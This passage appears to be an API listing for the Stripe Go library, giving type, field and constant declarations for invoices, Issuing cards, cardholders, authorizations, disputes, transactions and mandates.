*string + type InvoiceItemList struct + Data []*InvoiceItem + type InvoiceItemListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + Invoice *string + Pending *bool + type InvoiceItemParams struct + Amount *int64 + Currency *string + Customer *string + Description *string + Discountable *bool + Discounts []*InvoiceItemDiscountParams + Invoice *string + Period *InvoiceItemPeriodParams + Price *string + PriceData *InvoiceItemPriceDataParams + Quantity *int64 + Subscription *string + TaxRates []*string + UnitAmount *int64 + UnitAmountDecimal *float64 + type InvoiceItemPeriodParams struct + End *int64 + Start *int64 + type InvoiceItemPriceDataParams struct + Currency *string + Product *string + TaxBehavior *string + UnitAmount *int64 + UnitAmountDecimal *float64 + type InvoiceLine struct + Amount int64 + Currency Currency + Description string + DiscountAmounts []*InvoiceLineDiscountAmount + Discountable bool + Discounts []*Discount + ID string + InvoiceItem string + Livemode bool + Metadata map[string]string + Object string + Period *Period + Plan *Plan + Price *Price + Proration bool + Quantity int64 + Subscription string + SubscriptionItem string + TaxAmounts []*InvoiceTaxAmount + TaxRates []*TaxRate + Type InvoiceLineType + UnifiedProration bool + type InvoiceLineDiscountAmount struct + Amount int64 + Discount *Discount + type InvoiceLineList struct + Data []*InvoiceLine + type InvoiceLineListParams struct + Customer *string + ID *string + Subscription *string + type InvoiceLineType string + const InvoiceLineTypeInvoiceItem + const InvoiceLineTypeSubscription + type InvoiceList struct + Data []*Invoice + type InvoiceListParams struct + CollectionMethod *string + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + DueDate *int64 + DueDateRange *RangeQueryParams + Status *string + Subscription *string + type InvoiceMarkUncollectibleParams struct + type InvoiceParams struct + AccountTaxIDs []*string + ApplicationFeeAmount *int64 + AutoAdvance *bool + AutomaticTax *InvoiceAutomaticTaxParams + CollectionMethod *string + Coupon *string + CustomFields []*InvoiceCustomFieldParams + Customer *string + CustomerDetails *InvoiceUpcomingCustomerDetailsParams + DaysUntilDue *int64 + DefaultPaymentMethod *string + DefaultSource *string + DefaultTaxRates []*string + Description *string + Discounts []*InvoiceDiscountParams + DueDate *int64 + Footer *string + InvoiceItems []*InvoiceUpcomingInvoiceItemParams + OnBehalfOf *string + Paid *bool + PaymentSettings *InvoicePaymentSettingsParams + StatementDescriptor *string + Subscription *string + SubscriptionBillingCycleAnchor *int64 + SubscriptionBillingCycleAnchorNow *bool + SubscriptionBillingCycleAnchorUnchanged *bool + SubscriptionCancelAt *int64 + SubscriptionCancelAtPeriodEnd *bool + SubscriptionCancelNow *bool + SubscriptionDefaultTaxRates []*string + SubscriptionItems []*SubscriptionItemsParams + SubscriptionPlan *string + SubscriptionProrationBehavior *string + SubscriptionProrationDate *int64 + SubscriptionQuantity *int64 + SubscriptionStartDate *int64 + SubscriptionTrialEnd *int64 + SubscriptionTrialEndNow *bool + SubscriptionTrialFromPlan *bool + TransferData *InvoiceTransferDataParams + func (p *InvoiceParams) AppendTo(body *form.Values, keyParts []string) + type InvoicePayParams struct + Forgive *bool + OffSession *bool + PaidOutOfBand *bool + PaymentMethod *string + Source *string + type InvoicePaymentSettings struct + PaymentMethodOptions *InvoicePaymentSettingsPaymentMethodOptions + PaymentMethodTypes []InvoicePaymentSettingsPaymentMethodType + type InvoicePaymentSettingsParams struct + PaymentMethodOptions *InvoicePaymentSettingsPaymentMethodOptionsParams + PaymentMethodTypes []*string + type InvoicePaymentSettingsPaymentMethodOptions struct + Bancontact *InvoicePaymentSettingsPaymentMethodOptionsBancontact + Card *InvoicePaymentSettingsPaymentMethodOptionsCard + type InvoicePaymentSettingsPaymentMethodOptionsBancontact struct + PreferredLanguage string + type InvoicePaymentSettingsPaymentMethodOptionsBancontactParams struct + PreferredLanguage *string + type InvoicePaymentSettingsPaymentMethodOptionsCard struct + RequestThreeDSecure InvoicePaymentSettingsPaymentMethodOptionsCardRequestThreeDSecure + type InvoicePaymentSettingsPaymentMethodOptionsCardParams struct + RequestThreeDSecure *string + type InvoicePaymentSettingsPaymentMethodOptionsCardRequestThreeDSecure string + const InvoicePaymentSettingsPaymentMethodOptionsCardRequestThreeDSecureAny + const InvoicePaymentSettingsPaymentMethodOptionsCardRequestThreeDSecureAutomatic + type InvoicePaymentSettingsPaymentMethodOptionsParams struct + Bancontact *InvoicePaymentSettingsPaymentMethodOptionsBancontactParams + Card *InvoicePaymentSettingsPaymentMethodOptionsCardParams + type InvoicePaymentSettingsPaymentMethodType string + const InvoicePaymentSettingsPaymentMethodTypeAUBECSDebit + const InvoicePaymentSettingsPaymentMethodTypeAchCreditTransfer + const InvoicePaymentSettingsPaymentMethodTypeAchDebit + const InvoicePaymentSettingsPaymentMethodTypeBACSDebit + const InvoicePaymentSettingsPaymentMethodTypeBancontact + const InvoicePaymentSettingsPaymentMethodTypeBoleto + const InvoicePaymentSettingsPaymentMethodTypeCard + const InvoicePaymentSettingsPaymentMethodTypeFPX + const InvoicePaymentSettingsPaymentMethodTypeGiropay + const InvoicePaymentSettingsPaymentMethodTypeIdeal + const InvoicePaymentSettingsPaymentMethodTypeSepaCreditTransfer + const InvoicePaymentSettingsPaymentMethodTypeSepaDebit + const InvoicePaymentSettingsPaymentMethodTypeSofort + const InvoicePaymentSettingsPaymentMethodTypeWechatPay + type InvoiceSendParams struct + type InvoiceStatus string + const InvoiceStatusDraft + const InvoiceStatusOpen + const InvoiceStatusPaid + const InvoiceStatusUncollectible + const InvoiceStatusVoid + type InvoiceStatusTransitions struct + FinalizedAt int64 + MarkedUncollectibleAt int64 + PaidAt int64 + VoidedAt int64 + type InvoiceTaxAmount struct + Amount int64 + Inclusive bool + TaxRate *TaxRate + type InvoiceThresholdReason struct + AmountGTE int64 + ItemReasons []*InvoiceThresholdReasonItemReason + type InvoiceThresholdReasonItemReason struct + LineItemIDs []string + UsageGTE int64 + type InvoiceTransferData struct + Amount int64 + Destination *Account + type InvoiceTransferDataParams struct + Amount *int64 + Destination *string + type InvoiceUpcomingAutomaticTaxParams struct + Enabled *bool + type InvoiceUpcomingCustomerDetailsParams struct + Address *AddressParams + Shipping *InvoiceUpcomingCustomerDetailsShippingParams + Tax *InvoiceUpcomingCustomerDetailsTaxParams + TaxExempt *string + TaxIDs []*InvoiceUpcomingCustomerDetailsTaxIDParams + type InvoiceUpcomingCustomerDetailsShippingParams struct + Address *AddressParams + Name *string + Phone *string + type InvoiceUpcomingCustomerDetailsTaxIDParams struct + Type *string + Value *string + type InvoiceUpcomingCustomerDetailsTaxParams struct + IPAddress *string + type InvoiceUpcomingInvoiceItemParams struct + Amount *int64 + Currency *string + Description *string + Discountable *bool + Discounts []*InvoiceItemDiscountParams + InvoiceItem *string + Period *InvoiceUpcomingInvoiceItemPeriodParams + Price *string + PriceData *InvoiceItemPriceDataParams + Quantity *int64 + Schedule *string + TaxRates []*string + UnitAmount *int64 + UnitAmountDecimal *float64 + type InvoiceUpcomingInvoiceItemPeriodParams struct + End *int64 + Start *int64 + type InvoiceVoidParams struct + type IssuingAuthorization struct + Amount int64 + AmountDetails *IssuingAuthorizationAmountDetails + Approved bool + AuthorizationMethod IssuingAuthorizationAuthorizationMethod + BalanceTransactions []*BalanceTransaction + Card *IssuingCard + Cardholder *IssuingCardholder + Created int64 + Currency Currency + ID string + Livemode bool + MerchantAmount int64 + MerchantCurrency Currency + MerchantData *IssuingAuthorizationMerchantData + Metadata map[string]string + Object string + PendingRequest *IssuingAuthorizationPendingRequest + RequestHistory []*IssuingAuthorizationRequestHistory + Status IssuingAuthorizationStatus + Transactions []*IssuingTransaction + VerificationData *IssuingAuthorizationVerificationData + Wallet IssuingAuthorizationWalletType + func (i *IssuingAuthorization) UnmarshalJSON(data []byte) error + type IssuingAuthorizationAmountDetails struct + ATMFee int64 + type IssuingAuthorizationApproveParams struct + Amount *int64 + type IssuingAuthorizationAuthorizationMethod string + const IssuingAuthorizationAuthorizationMethodChip + const IssuingAuthorizationAuthorizationMethodContactless + const IssuingAuthorizationAuthorizationMethodKeyedIn + const IssuingAuthorizationAuthorizationMethodOnline + const IssuingAuthorizationAuthorizationMethodSwipe + type IssuingAuthorizationDeclineParams struct + type IssuingAuthorizationList struct + Data []*IssuingAuthorization + type IssuingAuthorizationListParams struct + Card *string + Cardholder *string + Created *int64 + CreatedRange *RangeQueryParams + Status *string + type IssuingAuthorizationMerchantData struct + Category string + City string + Country string + Name string + NetworkID string + PostalCode string + State string + type IssuingAuthorizationParams struct + type IssuingAuthorizationPendingRequest struct + Amount int64 + AmountDetails *IssuingAuthorizationAmountDetails + Currency Currency + IsAmountControllable bool + MerchantAmount int64 + MerchantCurrency Currency + type IssuingAuthorizationRequestHistory struct + Amount int64 + AmountDetails *IssuingAuthorizationAmountDetails + Approved bool + Created int64 + Currency Currency + MerchantAmount int64 + MerchantCurrency Currency + Reason IssuingAuthorizationRequestHistoryReason + type IssuingAuthorizationRequestHistoryReason string + const IssuingAuthorizationRequestHistoryReasonAccountDisabled + const IssuingAuthorizationRequestHistoryReasonCardActive + const IssuingAuthorizationRequestHistoryReasonCardInactive + const IssuingAuthorizationRequestHistoryReasonCardholderInactive + const IssuingAuthorizationRequestHistoryReasonCardholderVerificationRequired + const IssuingAuthorizationRequestHistoryReasonInsufficientFunds + const IssuingAuthorizationRequestHistoryReasonNotAllowed + const IssuingAuthorizationRequestHistoryReasonSpendingControls + const IssuingAuthorizationRequestHistoryReasonSuspectedFraud + const IssuingAuthorizationRequestHistoryReasonVerificationFailed + const IssuingAuthorizationRequestHistoryReasonWebhookApproved + const IssuingAuthorizationRequestHistoryReasonWebhookDeclined + const IssuingAuthorizationRequestHistoryReasonWebhookTimeout + type IssuingAuthorizationRequestHistoryViolatedAuthorizationControlEntity string + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlEntityAccount + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlEntityCard + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlEntityCardholder + type IssuingAuthorizationRequestHistoryViolatedAuthorizationControlName string + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlNameAllowedCategories + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlNameBlockedCategories + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlNameMaxAmount + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlNameMaxApprovals + const IssuingAuthorizationRequestHistoryViolatedAuthorizationControlNameSpendingLimits + type IssuingAuthorizationStatus string + const IssuingAuthorizationStatusClosed + const IssuingAuthorizationStatusPending + const IssuingAuthorizationStatusReversed + type IssuingAuthorizationVerificationData struct + AddressLine1Check IssuingAuthorizationVerificationDataCheck + AddressPostalCodeCheck IssuingAuthorizationVerificationDataCheck + CVCCheck IssuingAuthorizationVerificationDataCheck + ExpiryCheck IssuingAuthorizationVerificationDataCheck + type IssuingAuthorizationVerificationDataCheck string + const IssuingAuthorizationVerificationDataCheckMatch + const IssuingAuthorizationVerificationDataCheckMismatch + const IssuingAuthorizationVerificationDataCheckNotProvided + type IssuingAuthorizationWalletType string + const IssuingAuthorizationWalletTypeApplePay + const IssuingAuthorizationWalletTypeGooglePay + const IssuingAuthorizationWalletTypeSamsungPay + type IssuingCard struct + Brand string + CVC string + CancellationReason IssuingCardCancellationReason + Cardholder *IssuingCardholder + Created int64 + Currency Currency + ExpMonth int64 + ExpYear int64 + ID string + Last4 string + Livemode bool + Metadata map[string]string + Number string + Object string + ReplacedBy *IssuingCard + ReplacementFor *IssuingCard + ReplacementReason IssuingCardReplacementReason + Shipping *IssuingCardShipping + SpendingControls *IssuingCardSpendingControls + Status IssuingCardStatus + Type IssuingCardType + func (i *IssuingCard) UnmarshalJSON(data []byte) error + type IssuingCardCancellationReason string + const IssuingCardCancellationReasonLost + const IssuingCardCancellationReasonStolen + type IssuingCardList struct + Data []*IssuingCard + type IssuingCardListParams struct + Cardholder *string + Created *int64 + CreatedRange *RangeQueryParams + ExpMonth *int64 + ExpYear *int64 + Last4 *string + Status *string + Type *string + type IssuingCardParams struct + CancellationReason *string + Cardholder *string + Currency *string + ReplacementFor *string + ReplacementReason *string + Shipping *IssuingCardShippingParams + SpendingControls *IssuingCardSpendingControlsParams + Status *string + Type *string + type IssuingCardReplacementReason string + const IssuingCardReplacementReasonDamaged + const IssuingCardReplacementReasonExpired + const IssuingCardReplacementReasonLost + const IssuingCardReplacementReasonStolen + type IssuingCardShipping struct + Address *Address + Carrier IssuingCardShippingCarrier + ETA int64 + Name string + Service IssuingCardShippingService + Status IssuingCardShippingStatus + TrackingNumber string + TrackingURL string + Type IssuingCardShippingType + type IssuingCardShippingCarrier string + const IssuingCardShippingCarrierDHL + const IssuingCardShippingCarrierFEDEX + const IssuingCardShippingCarrierRoyalMail + const IssuingCardShippingCarrierUSPS + type IssuingCardShippingParams struct + Address *AddressParams + Name string + Service *string + Type *string + type IssuingCardShippingService string + const IssuingCardShippingServiceExpress + const IssuingCardShippingServicePriority + const IssuingCardShippingServiceStandard + type IssuingCardShippingStatus string + const IssuingCardShippingStatusCanceled + const IssuingCardShippingStatusDelivered + const IssuingCardShippingStatusFailure + const IssuingCardShippingStatusPending + const IssuingCardShippingStatusReturned + const IssuingCardShippingStatusShipped + type IssuingCardShippingType string + const IssuingCardShippingTypeBulk + const IssuingCardShippingTypeIndividual + type IssuingCardSpendingControls struct + AllowedCategories []string + BlockedCategories []string + SpendingLimits []*IssuingCardSpendingControlsSpendingLimit + SpendingLimitsCurrency Currency + type IssuingCardSpendingControlsParams struct + AllowedCategories []*string + BlockedCategories []*string + SpendingLimits []*IssuingCardSpendingControlsSpendingLimitParams + SpendingLimitsCurrency *string + type IssuingCardSpendingControlsSpendingLimit struct + Amount int64 + Categories []string + Interval IssuingCardSpendingControlsSpendingLimitInterval + type IssuingCardSpendingControlsSpendingLimitInterval string + const IssuingCardSpendingControlsSpendingLimitIntervalAllTime + const IssuingCardSpendingControlsSpendingLimitIntervalDaily + const IssuingCardSpendingControlsSpendingLimitIntervalMonthly + const IssuingCardSpendingControlsSpendingLimitIntervalPerAuthorization + const IssuingCardSpendingControlsSpendingLimitIntervalWeekly + const IssuingCardSpendingControlsSpendingLimitIntervalYearly + type IssuingCardSpendingControlsSpendingLimitParams struct + Amount *int64 + Categories []*string + Interval *string + type IssuingCardStatus string + const IssuingCardStatusActive + const IssuingCardStatusCanceled + const IssuingCardStatusInactive + type IssuingCardType string + const IssuingCardTypePhysical + const IssuingCardTypeVirtual + type IssuingCardholder struct + Billing *IssuingCardholderBilling + Company *IssuingCardholderCompany + Created int64 + Email string + ID string + Individual *IssuingCardholderIndividual + Livemode bool + Metadata map[string]string + Name string + Object string + PhoneNumber string + Requirements *IssuingCardholderRequirements + SpendingControls *IssuingCardholderSpendingControls + Status IssuingCardholderStatus + Type IssuingCardholderType + func (i *IssuingCardholder) UnmarshalJSON(data []byte) error + type IssuingCardholderBilling struct + Address *Address + type IssuingCardholderBillingParams struct + Address *AddressParams + type IssuingCardholderCompany struct + TaxIDProvided bool + type IssuingCardholderCompanyParams struct + TaxID *string + type IssuingCardholderIndividual struct + DOB *IssuingCardholderIndividualDOB + FirstName string + LastName string + Verification *IssuingCardholderIndividualVerification + type IssuingCardholderIndividualDOB struct + Day int64 + Month int64 + Year int64 + type IssuingCardholderIndividualDOBParams struct + Day *int64 + Month *int64 + Year *int64 + type IssuingCardholderIndividualParams struct + DOB *IssuingCardholderIndividualDOBParams + FirstName *string + LastName *string + Verification *IssuingCardholderIndividualVerificationParams + type IssuingCardholderIndividualVerification struct + Document *IssuingCardholderIndividualVerificationDocument + type IssuingCardholderIndividualVerificationDocument struct + Back *File + Front *File + type IssuingCardholderIndividualVerificationDocumentParams struct + Back *string + Front *string + type IssuingCardholderIndividualVerificationParams struct + Document *IssuingCardholderIndividualVerificationDocumentParams + type IssuingCardholderList struct + Data []*IssuingCardholder + type IssuingCardholderListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Email *string + PhoneNumber *string + Status *string + Type *string + type IssuingCardholderParams struct + Billing *IssuingCardholderBillingParams + Company *IssuingCardholderCompanyParams + Email *string + Individual *IssuingCardholderIndividualParams + Name *string + PhoneNumber *string + SpendingControls *IssuingCardholderSpendingControlsParams + Status *string + Type *string + type IssuingCardholderRequirements struct + DisabledReason IssuingCardholderRequirementsDisabledReason + PastDue []string + type IssuingCardholderRequirementsDisabledReason string + const IssuingCardholderRequirementsDisabledReasonListed + const IssuingCardholderRequirementsDisabledReasonRejectedListed + const IssuingCardholderRequirementsDisabledReasonUnderReview + type IssuingCardholderSpendingControls struct + AllowedCategories []string + BlockedCategories []string + SpendingLimits []*IssuingCardholderSpendingControlsSpendingLimit + SpendingLimitsCurrency Currency + type IssuingCardholderSpendingControlsParams struct + AllowedCategories []*string + BlockedCategories []*string + SpendingLimits []*IssuingCardholderSpendingControlsSpendingLimitParams + SpendingLimitsCurrency *string + type IssuingCardholderSpendingControlsSpendingLimit struct + Amount int64 + Categories []string + Interval IssuingCardholderSpendingControlsSpendingLimitInterval + type IssuingCardholderSpendingControlsSpendingLimitInterval string + const IssuingCardholderSpendingControlsSpendingLimitIntervalAllTime + const IssuingCardholderSpendingControlsSpendingLimitIntervalDaily + const IssuingCardholderSpendingControlsSpendingLimitIntervalMonthly + const IssuingCardholderSpendingControlsSpendingLimitIntervalPerAuthorization + const IssuingCardholderSpendingControlsSpendingLimitIntervalWeekly + const IssuingCardholderSpendingControlsSpendingLimitIntervalYearly + type IssuingCardholderSpendingControlsSpendingLimitParams struct + Amount *int64 + Categories []*string + Interval *string + type IssuingCardholderStatus string + const IssuingCardholderStatusActive + const IssuingCardholderStatusInactive + type IssuingCardholderType string + const IssuingCardholderTypeCompany + const IssuingCardholderTypeIndividual + type IssuingDispute struct + Amount int64 + BalanceTransactions []*BalanceTransaction + Created int64 + Currency Currency + Evidence *IssuingDisputeEvidence + ID string + Livemode bool + Metadata map[string]string + Object string + Status *IssuingDisputeStatus + Transaction *IssuingTransaction + func (i *IssuingDispute) UnmarshalJSON(data []byte) error + type IssuingDisputeEvidence struct + Canceled *IssuingDisputeEvidenceCanceled + Duplicate *IssuingDisputeEvidenceDuplicate + Fraudulent *IssuingDisputeEvidenceFraudulent + MerchandiseNotAsDescribed *IssuingDisputeEvidenceMerchandiseNotAsDescribed + NotReceived *IssuingDisputeEvidenceNotReceived + Other *IssuingDisputeEvidenceOther + Reason IssuingDisputeEvidenceReason + ServiceNotAsDescribed *IssuingDisputeEvidenceServiceNotAsDescribed + type IssuingDisputeEvidenceCanceled struct + AdditionalDocumentation *File + CanceledAt int64 + CancellationPolicyProvided bool + CancellationReason string + ExpectedAt int64 + Explanation string + ProductDescription string + ProductType IssuingDisputeEvidenceCanceledProductType + ReturnStatus IssuingDisputeEvidenceCanceledReturnStatus + ReturnedAt int64 + type IssuingDisputeEvidenceCanceledParams struct + AdditionalDocumentation *string + CanceledAt *int64 + CancellationPolicyProvided *bool + CancellationReason *string + ExpectedAt *int64 + Explanation *string + ProductDescription *string + ProductType *string + ReturnStatus *string + ReturnedAt *int64 + type IssuingDisputeEvidenceCanceledProductType string + const IssuingDisputeEvidenceCanceledProductTypeMerchandise + const IssuingDisputeEvidenceCanceledProductTypeService + type IssuingDisputeEvidenceCanceledReturnStatus string + const IssuingDisputeEvidenceCanceledReturnStatusMerchantRejected + const IssuingDisputeEvidenceCanceledReturnStatusSuccessful + type IssuingDisputeEvidenceDuplicate struct + AdditionalDocumentation *File + CardStatement *File + CashReceipt *File + CheckImage *File + Explanation string + OriginalTransaction string + type IssuingDisputeEvidenceDuplicateParams struct + AdditionalDocumentation *string + CardStatement *string + CashReceipt *string + CheckImage *string + Explanation *string + OriginalTransaction *string + type IssuingDisputeEvidenceFraudulent struct + AdditionalDocumentation *File + Explanation string + type IssuingDisputeEvidenceFraudulentParams struct + AdditionalDocumentation *string + Explanation *string + type IssuingDisputeEvidenceMerchandiseNotAsDescribed struct + AdditionalDocumentation *File + Explanation string + ReceivedAt int64 + ReturnDescription string + ReturnStatus IssuingDisputeEvidenceMerchandiseNotAsDescribedReturnStatus + ReturnedAt int64 + type IssuingDisputeEvidenceMerchandiseNotAsDescribedParams struct + AdditionalDocumentation *string + Explanation *string + ReceivedAt *int64 + ReturnDescription *string + ReturnStatus *string + ReturnedAt *int64 + type IssuingDisputeEvidenceMerchandiseNotAsDescribedReturnStatus string + const IssuingDisputeEvidenceMerchandiseNotAsDescribedReturnStatusMerchantRejected + const IssuingDisputeEvidenceMerchandiseNotAsDescribedReturnStatusSuccessful + type IssuingDisputeEvidenceNotReceived struct + AdditionalDocumentation *File + ExpectedAt int64 + Explanation string + ProductDescription string + ProductType IssuingDisputeEvidenceNotReceivedProductType + type IssuingDisputeEvidenceNotReceivedParams struct + AdditionalDocumentation *string + ExpectedAt *int64 + Explanation *string + ProductDescription *string + ProductType *string + type IssuingDisputeEvidenceNotReceivedProductType string + const IssuingDisputeEvidenceNotReceivedProductTypeMerchandise + const IssuingDisputeEvidenceNotReceivedProductTypeService + type IssuingDisputeEvidenceOther struct + AdditionalDocumentation *File + Explanation string + ProductDescription string + ProductType IssuingDisputeEvidenceOtherProductType + type IssuingDisputeEvidenceOtherParams struct + AdditionalDocumentation *string + Explanation *string + ProductDescription *string + ProductType *string + type IssuingDisputeEvidenceOtherProductType string + const IssuingDisputeEvidenceOtherProductTypeMerchandise + const IssuingDisputeEvidenceOtherProductTypeService + type IssuingDisputeEvidenceParams struct + Canceled *IssuingDisputeEvidenceCanceledParams + Duplicate *IssuingDisputeEvidenceDuplicateParams + Fraudulent *IssuingDisputeEvidenceFraudulentParams + MerchandiseNotAsDescribed *IssuingDisputeEvidenceMerchandiseNotAsDescribedParams + NotReceived *IssuingDisputeEvidenceNotReceivedParams + Other *IssuingDisputeEvidenceOtherParams + Reason *string + ServiceNotAsDescribed *IssuingDisputeEvidenceServiceNotAsDescribedParams + type IssuingDisputeEvidenceReason string + const IssuingDisputeEvidenceReasonCanceled + const IssuingDisputeEvidenceReasonDuplicate + const IssuingDisputeEvidenceReasonFraudulent + const IssuingDisputeEvidenceReasonMerchandiseNotAsDescribed + const IssuingDisputeEvidenceReasonNotReceived + const IssuingDisputeEvidenceReasonOther + const IssuingDisputeEvidenceReasonServiceNotAsDescribed + type IssuingDisputeEvidenceServiceNotAsDescribed struct + AdditionalDocumentation *File + CanceledAt int64 + Explanation string + ProductDescription string + ProductType IssuingDisputeEvidenceServiceNotAsDescribedProductType + type IssuingDisputeEvidenceServiceNotAsDescribedParams struct + AdditionalDocumentation *string + CanceledAt *int64 + Explanation *string + ProductDescription *string + ProductType *string + type IssuingDisputeEvidenceServiceNotAsDescribedProductType string + const IssuingDisputeEvidenceServiceNotAsDescribedProductTypeMerchandise + const IssuingDisputeEvidenceServiceNotAsDescribedProductTypeService + type IssuingDisputeList struct + Data []*IssuingDispute + type IssuingDisputeListParams struct + Status *string + Transaction *string + type IssuingDisputeParams struct + Evidence *IssuingDisputeEvidenceParams + Transaction *string + type IssuingDisputeStatus string + const IssuingDisputeStatusExpired + const IssuingDisputeStatusLost + const IssuingDisputeStatusSubmitted + const IssuingDisputeStatusUnsubmitted + const IssuingDisputeStatusWon + type IssuingDisputeSubmitParams struct + type IssuingTransaction struct + Amount int64 + AmountDetails *IssuingTransactionAmountDetails + Authorization *IssuingAuthorization + BalanceTransaction *BalanceTransaction + Card *IssuingCard + Cardholder *IssuingCardholder + Created int64 + Currency Currency + Dispute *IssuingDispute + ID string + Livemode bool + MerchantAmount int64 + MerchantCurrency Currency + MerchantData *IssuingAuthorizationMerchantData + Metadata map[string]string + Object string + PurchaseDetails *IssuingTransactionPurchaseDetails + Type IssuingTransactionType + func (i *IssuingTransaction) UnmarshalJSON(data []byte) error + type IssuingTransactionAmountDetails struct + ATMFee int64 + type IssuingTransactionList struct + Data []*IssuingTransaction + type IssuingTransactionListParams struct + Card *string + Cardholder *string + Created *int64 + CreatedRange *RangeQueryParams + Type *string + type IssuingTransactionParams struct + type IssuingTransactionPurchaseDetails struct + Flight *IssuingTransactionPurchaseDetailsFlight + Fuel *IssuingTransactionPurchaseDetailsFuel + Lodging *IssuingTransactionPurchaseDetailsLodging + Receipt []*IssuingTransactionPurchaseDetailsReceipt + Reference string + type IssuingTransactionPurchaseDetailsFlight struct + DepartureAt int64 + PassengerName string + Refundable bool + Segments []*IssuingTransactionPurchaseDetailsFlightSegment + TravelAgency string + type IssuingTransactionPurchaseDetailsFlightSegment struct + ArrivalAirportCode string + Carrier string + DepartureAirportCode string + FlightNumber string + ServiceClass string + StopoverAllowed bool + type IssuingTransactionPurchaseDetailsFuel struct + Type IssuingTransactionPurchaseDetailsFuelType + Unit IssuingTransactionPurchaseDetailsFuelUnit + UnitCostDecimal float64 + VolumeDecimal float64 + type IssuingTransactionPurchaseDetailsFuelType string + const IssuingTransactionPurchaseDetailsFuelTypeDiesel + const IssuingTransactionPurchaseDetailsFuelTypeOther + const IssuingTransactionPurchaseDetailsFuelTypeUnleadedPlus + const IssuingTransactionPurchaseDetailsFuelTypeUnleadedRegular + const IssuingTransactionPurchaseDetailsFuelTypeUnleadedSuper + type IssuingTransactionPurchaseDetailsFuelUnit string + const IssuingTransactionPurchaseDetailsFuelUnitLiter + const IssuingTransactionPurchaseDetailsFuelUnitUSGallon + type IssuingTransactionPurchaseDetailsLodging struct + CheckInAt int64 + Nights int64 + type IssuingTransactionPurchaseDetailsReceipt struct + Description string + Quantity float64 + Total int64 + UnitCost int64 + type IssuingTransactionType string + const IssuingTransactionTypeCapture + const IssuingTransactionTypeRefund + type Iter struct + func GetIter(container ListParamsContainer, query Query) *Iter + func (it *Iter) Current() interface{} + func (it *Iter) Err() error + func (it *Iter) List() ListContainer + func (it *Iter) Meta() *ListMeta + func (it *Iter) Next() bool + type LastResponseSetter interface + SetLastResponse func(response *APIResponse) + type Level uint32 + const LevelDebug + const LevelError + const LevelInfo + const LevelNull + const LevelWarn + type LeveledLogger struct + Level Level + func (l *LeveledLogger) Debugf(format string, v ...interface{}) + func (l *LeveledLogger) Errorf(format string, v ...interface{}) + func (l *LeveledLogger) Infof(format string, v ...interface{}) + func (l *LeveledLogger) Warnf(format string, v ...interface{}) + type LeveledLoggerInterface interface + Debugf func(format string, v ...interface{}) + Errorf func(format string, v ...interface{}) + Infof func(format string, v ...interface{}) + Warnf func(format string, v ...interface{}) + var DefaultLeveledLogger LeveledLoggerInterface = &LeveledLogger{ ... } + type LineItem struct + AmountSubtotal int64 + AmountTotal int64 + Currency Currency + Deleted bool + Description string + Discounts []*LineItemDiscount + ID string + Object string + Price *Price + Quantity int64 + Taxes []*LineItemTax + func (s *LineItem) UnmarshalJSON(data []byte) error + type LineItemDiscount struct + Amount int64 + Discount *Discount + type LineItemList struct + Data []*LineItem + type LineItemTax struct + Amount int64 + Rate *TaxRate + TaxRate *TaxRate + type ListContainer interface + GetListMeta func() *ListMeta + type ListMeta struct + HasMore bool + TotalCount uint32 + URL string + func (l *ListMeta) GetListMeta() *ListMeta + type ListParams struct + Context context.Context + EndingBefore *string + Expand []*string + Filters Filters + Limit *int64 + Single bool + StartingAfter *string + StripeAccount *string + func (p *ListParams) AddExpand(f string) + func (p *ListParams) GetListParams() *ListParams + func (p *ListParams) GetParams() *Params + func (p *ListParams) SetStripeAccount(val string) + func (p *ListParams) ToParams() *Params + type ListParamsContainer interface + GetListParams func() *ListParams + type LoginLink struct + Created int64 + Object string + URL string + type LoginLinkParams struct + Account *string + RedirectURL *string + type Mandate struct + CustomerAcceptance *MandateCustomerAcceptance + ID string + Livemode bool + MultiUse *MandateMultiUse + Object string + PaymentMethod *PaymentMethod + PaymentMethodDetails *MandatePaymentMethodDetails + SingleUse *MandateSingleUse + Status MandateStatus + Type MandateType + func (i *Mandate) UnmarshalJSON(data []byte) error + type MandateCustomerAcceptance struct + AcceptedAt int64 + Offline *MandateCustomerAcceptanceOffline + Online *MandateCustomerAcceptanceOnline + Type MandateCustomerAcceptanceType + type MandateCustomerAcceptanceOffline struct + type MandateCustomerAcceptanceOnline struct + IPAddress string + UserAgent string + type MandateCustomerAcceptanceType string + const MandateCustomerAcceptanceTypeOffline + const MandateCustomerAcceptanceTypeOnline + type MandateMultiUse struct + type MandateParams struct + type MandatePaymentMethodDetails struct + ACSSDebit *MandatePaymentMethodDetailsACSSDebit + AUBECSDebit *MandatePaymentMethodDetailsAUBECSDebit + BACSDebit *MandatePaymentMethodDetailsBACSDebit + Card *MandatePaymentMethodDetailsCard + SepaDebit *MandatePaymentMethodDetailsSepaDebit + Type PaymentMethodType + type MandatePaymentMethodDetailsACSSDebit struct + IntervalDescription string + PaymentSchedule MandatePaymentMethodDetailsACSSDebitPaymentSchedule + TransactionType MandatePaymentMethodDetailsACSSDebitTransactionType + type MandatePaymentMethodDetailsACSSDebitPaymentSchedule string + const MandatePaymentMethodDetailsACSSDebitPaymentScheduleCombined + const MandatePaymentMethodDetailsACSSDebitPaymentScheduleInterval + const MandatePaymentMethodDetailsACSSDebitPaymentScheduleSporadic + type MandatePaymentMethodDetailsACSSDebitTransactionType string + const MandatePaymentMethodDetailsACSSDebitTransactionTypeBusiness + const MandatePaymentMethodDetailsACSSDebitTransactionTypePersonal + type MandatePaymentMethodDetailsAUBECSDebit struct + URL string + type MandatePaymentMethodDetailsBACSDebit struct + NetworkStatus MandatePaymentMethodDetailsBACSDebitNetworkStatus + Reference string + URL string + type MandatePaymentMethodDetailsBACSDebitNetworkStatus string + const MandatePaymentMethodDetailsBACSDebitNetworkStatusAccepted + const MandatePaymentMethodDetailsBACSDebitNetworkStatusPending + const MandatePaymentMethodDetailsBACSDebitNetworkStatusRefused + const MandatePaymentMethodDetailsBACSDebitNetworkStatusRevoked + type MandatePaymentMethodDetailsCard struct + type MandatePaymentMethodDetailsSepaDebit struct + Reference string + URL string + type 